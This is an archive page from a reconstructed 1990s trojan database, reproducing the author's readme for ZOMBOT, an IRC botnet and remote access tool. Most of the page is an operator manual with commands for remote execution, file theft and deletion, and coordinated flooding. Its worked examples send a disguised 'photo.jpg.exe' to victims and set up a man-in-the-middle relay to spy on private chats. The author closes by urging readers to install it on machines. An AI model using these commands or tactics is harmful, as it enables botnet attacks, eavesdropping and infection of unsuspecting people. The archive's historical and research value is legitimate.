Archive A Reconstructed © MegaSecurity Database
ZOMBOT
Copyright © MegaSecurity
By Zombie
Informations
| Author | Zombie |
| Family | ZOMBOT |
| Category | Remote Access |
| Version | ZOMBOT |
Author Information / Description
Z-O-M-B-O-T version 1.xx (x) 2000
~~~~~~~~~~~
play with your own IRC army
Main idea is that ZOMBOT.EXE will be installed on hundreds machines,
and each zombot will connect to IRC, increasing your power.
- join IRC
- receive commands from you; forward 'em to IRC server
[*] To force zombot do single action N times (i.e. send it back to IRC):
/PRIVMSG abc :<psw1> <[xN] action>
[*] Also, single action may be sent to a channel with some zombots:
/PRIVMSG #ch :<psw1> <[xN] action>
[*] To force broadcast action, i.e. to distribute single action between
all zombots on the IRC: (N=probability of each single action, if defined)
/PRIVMSG abc :<psw1> $bcast <[pN] [xN] action>
broadcast action should not be sent to a chan;
it also may not contain psw1 substring.
[*] <action> can be any IRC command, or one of the following commands:
$bcast <action> -- do broadcast action
$quit -- quit IRC, quit zombot.exe (until reboot)
$sleep <N> -- quit IRC, sleep N seconds, then return.
reboot-independent
$rename [nick1 [nick2...]] -- change nickname. (no nick == random)
try all given nicknames, then set random
$forward [nick|<#chan|*] -- forward IRC output to nick/chan, *=clear
$flood <nick> -- do flood (from current bot)
$info [nick|#chan] -- return zombot/machine info
$exec <cmdline> -- execute cmdline; %windir% & etc. allowed
$dump [[fname] nick|#chan] -- dump file. no fname == $exec's result
$cd [path] -- get/set current directory
$dir [path: [/s]] -- dir, /s=recursive
$delete <filename> -- delete file
$stop -- use it to break $dump/$dir [NO PSW]
$kix0r <#chan> <nick> -- same as if <nick> kicked/deopped brother
$brolist -- dump current brother list
$ini list -- view IRC_commands_to_exec_at_startup
$ini del -- delete ini file
$ini add <text> -- append one line to ini file
$dcc send <nick> <fname> -- dcc send file to nick
$dcc recv -- accept dcc send, i.e. receive file
$redir list -- list redirect info
$redir del -- del all redirect info
$redir del <n> -- del redirect entry #n
$redir add <src> <dst> [hide] --redirect src nick/chan to dst nick/chan
'hide' means to disable source info
$servlist list -- list IRC server list
$servlist del -- delete IRC server list
$servlist del <n> -- delete IRC server list #n
$servlist add hostname minport maxport -- add IRC server
...
Any $-prefixed commands added into .INI file will be executed at
startup. Thus, adding static IRC server into list looks as following:
PRIVMSG abc :<psw1> $ini add $servlist add us.undernet.org 6665 6668
[*] Examples
#virus -- target channel
abc, cde -- zombots on #virus
xyz, qqq, ... -- other zombots (not on chan)
retch -- motherfucker
fux0r1 -- default psw1
PRIVMSG abc :fux0r1 JOIN #virus -- abc has joined #virus
PRIVMSG cde :fux0r1 $bcast JOIN #virus -- abc,xyz,qqq,... has joined #virus
PRIVMSG cde :fux0r1 $ini del -- make this bot joining only #virus
PRIVMSG cde :fux0r1 $ini add JOIN #virus each time its started
PRIVMSG xyz :fux0r1 $flood retch -- flood with finger/etc. requests
PRIVMSG xyz :fux0r1 x100 PRIVMSG retch :are you alive? -- kind of flood
PRIVMSG abc :fux0r1 $bcast $flood retch -- force abc,cde,xyz,... to flood
dcc send qqq pussy.jpg.exe -- send virus to qqq, qqq is my bot
PRIVMSG qqq :fux0r1 $dcc recv -- force qqq to receive file
PRIVMSG qqq :fux0r1 $rename pussy
PRIVMSG pussy :fux0r1 JOIN #virus
PRIVMSG pussy :fux0r1 $redir mynick lamer hide -- redirect my msgs to lamer
PRIVMSG pussy :fux0r1 $redir lamer mynick -- and vise versa
PRIVMSG pussy :hava new kewl pic for u!
PRIVMSG pussy :$dcc send lamer pussy.jpg.exe
[*] SUPER-JOKE
let we know that there're nick names jack and john.
let we have two zombots on IRC, bot1 and bot2.
now, see what i'm doing:
normal chat: jack <--irc--> john
now becomes: jack <--irc--> _john <--irc--> _jack <--irc--> john
==bot1 ==bot2
[1] install bot1 (_john) between jack and _jack
PRIVMSG bot1 :fux0r1 $redir add jack _jack hide
PRIVMSG bot1 :fux0r1 $redir add _jack jack hide
PRIVMSG bot1 :fux0r1 $rename _john
[2] install bot2 (_jack) between john and _john
PRIVMSG bot2 :fux0r1 $redir add john _john hide
PRIVMSG bot2 :fux0r1 $redir add _john john hide
PRIVMSG bot2 :fux0r1 $rename _jack
[3] and now, install hukker (let it be your nick)
as a mathafukka watching private chat between _jack and _john,
i.e. between real jack and john
PRIVMSG _john :fux0r1 $redir add jack hukker
PRIVMSG _john :fux0r1 $redir add _jack hukker
PRIVMSG _jack :fux0r1 $redir add john hukker
PRIVMSG _jack :fux0r1 $redir add _john hukker
[4] well, private chat may be started right now ;-)
PRIVMSG _jack :fux0r1 PRIVMSG john :hi, john!
[5] lets see, what happened as a result of our manipulations:
_jack --> john : hi, john!
john --> _jack : hi, how's life?
_jack --> _john : hi, how's life? _jack --> hukker : john>> hi, how's life?
_john --> jack : hi, how's life?
jack --> _john : good, and yours?
_john --> _jack : good, and yours? _john --> hukker : jack>> good, and yours?
_jack --> john : good, and yours?
...
[6] Well, now hukker is tired of watching private chat.
So, he breaks their happy connection, inserting himself between
_jack(jack) and _john(john).
PRIVMSG _jack :fux0r1 $redir del
PRIVMSG _jack :fux0r1 $redir add john hukker
PRIVMSG _jack :fux0r1 $redir add hukker john hide
PRIVMSG _john :fux0r1 $redir del
PRIVMSG _john :fux0r1 $redir add jack hukker
PRIVMSG _john :fux0r1 $redir add hukker jack hide
hukker --> _jack : have to go. btw, this is my foto
_jack --> john : have to go. btw, this is my foto
PRIVMSG _jack :fux0r1 $dcc send john photo.jpg.exe
hukker --> _john : time to go, jacky... i'll email you my foto. bye
_john --> jack : time to go, jacky... i'll email you my foto. bye
turn _jack/_john out from IRC for 10 mins:
PRIVMSG _jack :fux0r1 $sleep 600
PRIVMSG _john :fux0r1 $sleep 600
By the way, the same thing may be performed using two emails.
Just find two serious guys, and install email connection between'em. ;-)
[*] Authentication
Use HOST2REAL.EXE <yourhostname> to get your IRC realname.
Such realname will be accepted by all zombots as "one of us",
and you will be "protected" person on channel with zombots.
[*] other features
All zombots will protect each other.
This means, that when somebody kicks/bans/deops some zombot on a chan,
all other zombots will kick/ban sucker, and, moreover, kicked bot
will rejoin and send broadcasting message to all others to flood badguy.
[*] Using ZOMBOTs
If you're reading this text, then i've played with bots enough. ;-)
So, change irc_psw, recompile bot and install/run it on some machines.
As you can see, zombots was initially designed as a distributed
flooding mechanism, to be used in the channel takeover actions. So,
Seek & Enjoy! X-)
Zombie
This archive is an almost-complete reconstruction of the legendary Mega Security (also known as Kobayashi), a premier 90s-era "Trojan Database" where malware authors once showcased their work. After a decade offline, the site was brought back in August 2024 by its original creator, MasterRat, who authorized the Malware Gallery to host this modernized, searchable version of the collection. While the original site remains available for those seeking a nostalgic, old-school experience, we are proud to continue its legacy here. Full credit and thanks go to MasterRat and the retired Mega Security staff for their years of dedicated work in cataloging these historical samples.